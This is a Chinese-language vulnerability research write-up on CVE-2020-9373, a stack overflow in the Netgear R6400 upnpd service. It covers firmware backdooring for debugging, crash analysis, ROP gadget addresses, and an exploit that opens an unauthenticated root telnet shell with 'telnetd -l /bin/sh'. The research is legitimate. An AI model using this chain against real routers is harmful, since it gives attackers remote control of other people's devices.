一、基本情况
Netgear R6400 多个固件版本中的upnpd存在栈溢出漏洞(CVE-2020-9373),通过向其udp 1900端口发送构造的ssdp数据包,可能导致DOS或RCE。下文的测试均使用V1.0.1.52_1.0.36这本版本的固件包。
Netgear r6400
Netgear R6400 是网件的AC1750无线路由器,2.4GHz和5GHz双频支持,最高带宽1750Mbps(450+1300 Mbps),机身带有一个USB 3.0接口、一个USB 2.0接口。
upnp 协议
通用即插即用(Universal Plug and Play,简称UPnP)是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。UPnP检测协议是基于简单服务发现协议(SSDP)的。
ssdp 协议
简单服务发现协议(SSDP,Simple Service Discovery Protocol)是一种应用层协议,是构成通用即插即用(UPnP)技术的核心协议之一。简单服务发现协议提供了在局部网络里面发现设备的机制。
二、准备工作
2.1 固件分析
binwalk解析
> binwalk R6400-V1.0.1.52_1.0.36.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31977472 bytes, CRC32: 0x4BDF38B9, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x201CEC, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5173344 bytes
2104614 0x201D26 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29869289 bytes, 1645 inodes, blocksize: 131072 bytes, created: 2019-11-07 12:21:09
通过binwalk解析,固件结构比较清晰。固件由netgear header(0x3A字节) +TRX header(0x1c字节)+linux kernel+squashfs文件系统构成。
2.1.1 netgear header
前0x3A字节是netgear自带的header,由于从netgear的开源软件中找到了打包软件,所以并未对其过多分析,但是可以较明显地看出包含版本号,文件大小,校验码等信息。
2.1.2 TRX header
结构示意图:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+---------------------------------------------------------------+
| magic number ('HDR0') |
+---------------------------------------------------------------+
| length (header size + data) |
+---------------+---------------+-------------------------------+
| 32-bit CRC value |
+---------------+---------------+-------------------------------+
| TRX flags | TRX version |
+-------------------------------+-------------------------------+
| Partition offset[0] |
+---------------------------------------------------------------+
| Partition offset[1] |
+---------------------------------------------------------------+
| Partition offset[2] |
+---------------------------------------------------------------+
头结构定义如下:
struct trx_header {
uint32_t magic; /* "HDR0" */
uint32_t len; /* Length of file including header */
uint32_t crc32; /* 32-bit CRC from flag_version to end of file */
uint32_t flag_version; /* 0:15 flags, 16:31 version */
uint32_t offsets[4]; /* Offsets of partitions from start of header */
};
crc32校验是对校验值后所有数据的校验,通过简单验证,
print("0x%x" % ((~zlib.crc32(fp.read()[0x46:])) & 0xffffffff))
> python3 crc32check.py R6400-V1.0.1.52_1.0.36.chk
0x4bdf38b9
发现crc校验值与此前binwalk输出结果一致。
2.2 调试准备
2.2.1 修改固件
R6400路由器本身没有提供shell交互接口,可以通过刷入第三方固件+上传upnpd的方式调试,网上有很多第三方固件的刷机方法,在此不再赘述。笔者利用的方式是直接修改squashfs文件,开启busybox自带的telnetd服务。由于时间有限,并未对整个系统启动过程作详细分析,仅利用对/usr/sbin/dlnad修改替换的简单方法。
# mv squashfs/usr/sbin/dlnad squashfs/usr/sbin/dlnadd
# touch squashfs/usr/bin/dlnad
# chmod +x squashfs/usr/bin/dlnad
替换后的dlna:
#!/bin/sh
/usr/sbin/telnetd -F -l /bin/sh -p 1234 &
/usr/sbin/dlnadd &
2.2.2 固件打包
R6400提供了部分开源代码,当然可以通过编译生成新的固件,但笔者这里讨巧地利用直接二进制编辑替换原固件中squashfs,再更新TRX header和netgear header的方式,省去ARM交叉编译过程。 TRX需更新crc32校验值和长度,netgear header利用开源工具链中的packet和compatible_r6400.txt工具:
./packet -k %s -f rootfs -b compatible_r6400.txt
-ok kernel -oall image -or rootfs -i ambitCfg.h
注意在打包squshfs需指明压缩方式为xz,否则刷机可能出现故障:
mksquashfs squashfs-root squashfs-root.squash -comp xz
默认生成image.chk就可以刷机了,如果刷机失败导致无法连接可参考本文底部链接救砖。
重新启动后发现telnet 1234端口可以连接,说明刷机成功。
# telnet 192.168.1.1 1234
BusyBox v1.7.2 (2019-11-07 20:19:12 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
三、漏洞发掘
由于漏洞比较明显,是upnpd处理ssdp包时直接利用strcpy复制未经过滤的数据导致的栈溢出,通过二进制危险函数审计就可以发掘。
笔者是利用gihub上的upnp fuzz工具测试发现的(send第二个包就产生了crash)。协议本身比较简单,测试脚本完全可以自行开发,当然利用sulley peach等开源框架也能很快实现,笔者还顺手对dnsmasq和web等作了fuzz测试,由于时间和水平有限,未有结果。
用gdb调试可以看到程序产生了Segmentation fault:
# cd /tmp
# tftp 192.168.1.2 -l gdb -r gdb -g octet
# chmod +x gdb
# ps |grep upnpd
10936 admin 2400 S upnpd
12580 admin 1316 R grep upnpd
#./gdb --pid=10936
GNU gdb (GDB) 7.11
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabi".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 15409
Reading symbols from /usr/sbin/upnpd...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libnvram.so...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libacos_shared.so...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libnat.so...(no debugging symbols found)...done.
Reading symbols from /lib/libcrypt.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/libc.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/libm.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/ld-uClibc.so.0...(no debugging symbols found)...done.
0x4011f4cc in select () from /lib/libc.so.0
(gdb)c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x401e3954 in strstr () from /lib/libc.so.0
(gdb) backtrace
#0 0x401e3954 in strstr () from /lib/libc.so.0
#1 0x0000b820 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb)i r
r0 0x41414141 1094795585
r1 0xbeeefcc4 3203333316
r2 0xbeeefcc4 3203333316
r3 0x41414141 1094795585
r4 0x41 65
r5 0xbeeefcc0 3203333312
r6 0xbeeefcc4 3203333316
r7 0xbeeefcc0 3203333312
r8 0xbeeefcc4 3203333316
r9 0x30a 778
r10 0x1 1
r11 0xb8f7c 757628
r12 0x4c7ac 313260
sp 0xbeeef678 0xbeeef678
lr 0xb820 47136
pc 0x401e3954 0x401e3954 <strstr+24>
cpsr 0x20000010 536870928
利用ida回溯sub_b820函数发现漏洞可能存在sub_22270的strcpy中:
text:00022270
.text:00022270 STMFD SP!, {R4-R11,LR}
.text:00022274 SUB SP, SP, #0x630
.text:00022278 SUB SP, SP, #4
.text:0002227C MOV R5, R2
.text:00022280 ADD R3, SP, #0x658+s
.text:00022284 MOV R2, #0x20
.text:00022288 STRH R2, [R3,#0x2C]
.text:0002228C MOV R4, R0
.text:00022290 LDR R3, =dword_885DC
.text:00022294 MOV R6, R1
.text:00022298 LDR R3, [R3]
.text:0002229C CMP R3, #1
.text:000222A0 MOVEQ R0, #0
.text:000222A4 BEQ loc_22364
.text:000222A8 ADD R3, SP, #0x658+var_628
.text:000222AC ADD R7, SP, #0x658+var_28
.text:000222B0 SUB R3, R3, #0xC
.text:000222B4 ADD R8, SP, #0x658+var_38
.text:000222B8 STR R3, [R7,#-8]!
.text:000222BC MOV R1, R4 ; src
.text:000222C0 MOV R0, R3 ; dest
.text:000222** ADD R8, R8, #0xC
.text:000222C8 BL strcpy
.text:000222CC MOV R0, R7
.text:000222D0 MOV R1, R8
.text:000222D4 BL sub_B800
.text:000222D8 SUBS R10, R0, #0
.text:000222DC BEQ loc_22360 ; jumptable 00022424 default case
.text:000222E0 LDR R1, =aMSearch ; "M-SEARCH"
.text:000222E4 BL strstr
.text:000
通过在sub_22270函数下断点继续调试,发现漏洞果然存在于此处。由于在考虑长度的情况下将r1指向地址的数据直接复制覆盖r0指向的地址,导致同样存于栈中的r7指向的值被改变,之后取r7指向的值赋给r0(已被覆盖为0x41414141),将r0当作地址取值是因无法读取数据产生Segmentation fault。
四、漏洞利用
4.1 地址随机化
每次加载库地址和栈地址都随机,但存在一些规律,而upnpd的地址是不变的,地址随机化bypass常规思路是构造ROP,需要解决以下两个问题。
4.1.1 字符串截断
upnpd文件较小,最大的地址空间也至少包含一个0x00,字符串截断无法多次跳转。一般思路是加密编码shellcode去掉0x00防止截断,这里笔者利用一个比较简单的方法。由于strcpy前会将参数压栈(ARM是先存寄存器,但指向的buf仍存于内存空间),由于网络中收取的是二进制流不存在截断问题,所以发送的完整数据必然存在于内存空间,可以利用先利用一跳pop栈数据,使栈地址刚好处于构造数据的位置,之后就可以不受0x00影响直接用常规ROP。
在内存中找到没有截断的数据:
(gdb) x/20x 0xbed442e8
0xbed442e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbed442f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbed44308: 0x41414141 0x41414141 0x41414141 0x41414141
0xbed44318: 0x41414141 0x42004200 0x42004200 0x00000000
4.1.2 r7地址可读
如果r7地址不可读就会在return前产生Segmentation fault导致程序退出,只达到DOS效果,无法执行命令。同样存在之前的随机化和截断问题。这个问题笔者没能很好的解决,考虑到libc每次的加载地址存在一些规律,均为0x401XX4cc,经过多次尝试,将r7值设为0x401004cc基本可实现需求,但还是存在失败的概率,比如upnpd多次异常重启后libc地址会变成0x402XX4cc,如果童鞋们有好的方法还请不吝赐教。
(gdb) x/10x 0x40100cc
0x401bd25c <select+12>: 0xe3700a01 0xe1a04000 0x9a000003 0xe2644000
0x401bd26c <select+28>: 0xebfff099 0xe5804000 0xe3e04000 0xe1a00004
0x401bd27c <select+44>: 0xe8bd8098 0xe3a02000
4.2 rop构造
解决以上问题后构造ROP就是机械操作了,可以利用pwntools,也可以用ROPgadget等工具构造。笔者利用到的代码如下:
//pop栈内容,使栈地址触及send的数据
.text:00019124 ADD SP, SP, #0xDC
.text:00019128 ADD SP, SP, #0x800
.text:0001912C LDMFD SP!, {R4-R11,PC}
//将需要执行的命令地址赋给r0
.text:0000CEE4 MOV R0, R4 ; s
.text:0000CEE8 MOV R1, #0 ; c
.text:0000CEEC MOV R2, R5 ; n
.text:0000CEF0 BL memset
.text:0000CEF4 MOV R0, R4 ; dest
.text:0000CEF8 MOV R1, SP ; src
.text:0000CEFC BL strcpy
.text:0000CF00 ADD SP, SP, #0x400
.text:0000CF04 LDMFD SP!, {R4-R6,PC}
//执行system
.text:00017878 BL system
.text:0001787C MOV R0, #1
由于r7可读问题没有很好解决,整个ROP注定不完整,所以在执行system成功后就没有继续构造,对于upnpd退出重启等还有进一步操作空间。执行效果如下,可以看到成功在9999端口开启了telnetd,测试可成功连接。
# ps |grep telnet
10912 admin 1292 S /usr/sbin/telnetd -p 1234
11587 admin 1296 S sh -c telnetd -F -l /bin/sh -p 9999;
11588 admin 1296 S telnetd -F -l /bin/sh -p 9999
12280 admin 1316 S grep telnet
五、简单总结
1、该漏洞不管从发掘到利用都比较简单,适合新手入门,随着网络安全越来越被重视,现在的应用软件很难再发现此种漏洞。遗憾的是r7可读没有很好的解决,如果童鞋们有好的方法请不吝赐教。
2、使用upnp带来方便,但很多实现上都会暴露出安全问题,笔者觉得此类设备在易用性和安全性的平衡点拿捏上还有长路要走,建议如果不需要upnp这类服务就尽量关闭。
3、笔者发现同为Netgear的设备WNDR3400v3也爆出类似漏洞,而且已经存在CVE编号(CVE-2019-14363),应该是用了相似的代码。很多设备都依赖于openwrt/ddwrt二次开发,应用开源软件更是数不胜数,如果想更高效发现漏洞并预警,二进制同源分析也是很值得研究的课题。
4、【github地址】
六、参考链接
Netgear官方信息:https://www.netgear.com/about/security/
固件下载:https://www.netgear.com/support/product/R6400.aspx#Firmware Version 1.0.1.32
GPL开源软件下载:http://www.downloads.netgear.com/files/GDC/R6400/R6400-V1.0.1.34_1.0.24.zip
救砖教程:http://koolshare.cn/thread-142232-1-6.html
upnp_fuzzing:https://github.com/w0lfzhang/upnp_fuzzing.git
*本文原创作者:klovey,本文属于FreeBuf原创奖励计划,未经许可禁止转载